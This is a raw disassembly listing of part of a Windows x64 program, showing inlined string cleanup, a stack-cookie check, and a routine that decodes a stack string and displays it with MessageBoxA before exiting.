lea rcx, [rbp + 0x2d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x14006f025
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006f020
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006f020
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
mov qword [rbp + 0x1b8], r13
mov qword [rbp + 0x1c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a8], 0
movzx edx, byte [rbp + 0xe8]
lea rcx, [rbp + 0xf0]
call fcn.140047100
nop
mov rdx, qword [rbp + 0x180]
cmp rdx, 0xf
jbe 0x14006f096
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006f091
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006f091
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x220]
cmp rdx, 0xf
jbe 0x14006f0f4
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006f0ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006f0ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x14006f138
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006f133
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006f133
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x200], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e8], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x14006f196
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006f190
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006f190
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
nop
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0xf
jbe 0x14006f1da
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006f1d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006f1d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3794
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400c3380
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x1400c9580]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400c95d0]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1400c9680]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1400c9690]
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x20], 0xf6bafdfb
mov dword [rbp - 0x1c], 0x100e7e6
lea rcx, [rbp - 0x60]
call fcn.1400690f0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140045620
nop
int3